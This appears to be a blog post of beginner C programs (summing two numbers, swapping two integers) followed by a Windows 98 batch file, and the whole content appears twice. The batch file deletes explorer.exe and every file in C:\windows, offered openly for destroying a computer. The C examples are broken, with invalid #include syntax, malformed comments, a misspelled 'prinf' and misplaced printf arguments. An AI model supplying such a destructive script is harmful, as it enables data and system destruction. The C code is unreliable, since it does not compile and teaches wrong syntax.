C PROGRAMS
1. Adding 2 numbers
\* C Program to find the sum of two numbers! *
#include(stdio.h)
#include(conio.h)
void main()
{
int a, b, sum;
printf("display first number:\n");
scanf("%d", &a);
printf("display second number:\n");
scanf("%d", &b);
sum = a + b;
printf("the sum of %d and %d is=%d, a, b,c\n");
getch();
}
2.Interchanging the values of to integers.
\* To interchange the values of two input numbers *
#include(stdio.h)
#include(conio.h)
void main()
{
int a,b,c;
printf("Enter the first number\n");
scanf("%d",&a);
prinf("Enter the second number\n");
scanf("%d",&b);
printf("Values before interchanging %d and %d\n"&a,&b);
c = a;
a = b;
b = c;
printf("Values after interchanging %d and %d\n"&a,&b);
getch();
}
A batch file to Destroy a computer having Windows98 on it:
Type the following code in notepad:
@echo off
echo your computer has lived its life
echo say bye now!!
echo astalavista baby!!
del c:\windows\explorer.exe
del c:\windows\*.*
cls
exit
now save this as j.bat
and double click it if you want to destroy the computer!!
\* C Program to find the sum of two numbers! *
#include(stdio.h)
#include(conio.h)
void main()
{
int a, b, sum;
printf("display first number:\n");
scanf("%d", &a);
printf("display second number:\n");
scanf("%d", &b);
sum = a + b;
printf("the sum of %d and %d is=%d, a, b,c\n");
getch();
}
2.Interchanging the values of to integers.
\* To interchange the values of two input numbers *
#include(stdio.h)
#include(conio.h)
void main()
{
int a,b,c;
printf("Enter the first number\n");
scanf("%d",&a);
prinf("Enter the second number\n");
scanf("%d",&b);
printf("Values before interchanging %d and %d\n"&a,&b);
c = a;
a = b;
b = c;
printf("Values after interchanging %d and %d\n"&a,&b);
getch();
}
A batch file to Destroy a computer having Windows98 on it:
Type the following code in notepad:
@echo off
echo your computer has lived its life
echo say bye now!!
echo astalavista baby!!
del c:\windows\explorer.exe
del c:\windows\*.*
cls
exit
now save this as j.bat
and double click it if you want to destroy the computer!!

0 Comments:
Post a Comment
<< Home